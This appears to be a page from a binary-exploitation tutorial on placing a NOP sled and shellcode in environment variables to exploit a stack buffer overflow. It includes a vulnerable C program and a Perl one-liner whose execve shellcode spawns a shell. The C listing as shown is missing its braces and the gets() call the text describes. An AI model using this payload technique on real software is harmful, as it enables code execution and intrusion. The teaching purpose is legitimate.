Environment Variable and Command Line Argument Buffers

Considering a NOP sled and the shellcode, the memory region available for the overall payload might become too small pretty soon. Instead of using only buffers of the application to store the payload, it is also possible to use buffers implicitly included in the application by the operating system. Specifically, parts of the payload can be stored in environment variables or command line arguments1). To use this technique, the return address needs to be overwritten with the corresponding buffer address. Being located at the bottom end of the stack, addresses of these locations are easier to guess than addresses of arbitrary buffers in the application2).

Following example is used to demonstrate this exploitation technique.

// gcc -g -O0 -m32 -std=c99 -mpreferred-stack-boundary=2 -z execstack env.c
#include <stdio.h>
int main(int argc, char *argv[])
    char input[4] = {0};
    return 0;

After going through the previous chapters, a call to gets() should be eye-catching. Sadly, 4 bytes are in no way sufficient for shellcode calling execve. Instead, we will make use of an environment variable to store the NOP sled and the shellcode. The actual overflow buffer input is only used to overwrite the return address of the stack frame. Using Perl to generate the payload, the environment variable BUFFER is filled with a 65536 (216) byte NOP sled followed by the shellcode. Environment variables are among the very first things pushed to the stack and have addresses close to the bottom of the stack (address 0xffffffff). Both of these properties make it relatively easy to guess an address within the NOP sled. Avoiding bytes with a value of 0, the buffer is guessed to be located at address 0xffff0101.

$ cat <(perl -e 'print "A"x12 . "\x01\x01\xff\xff" . "\n"') - \
| BUFFER=$(perl -e 'print "\x90"x65536 .
"\x83\xec\x30\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"') ./a.out

← Back to NOP sleds Overview Continue with return-oriented programming (ROP) →

Jeff Duntemann (2009). Assembly Language Step by Step: Programming with Linux (3rd edition)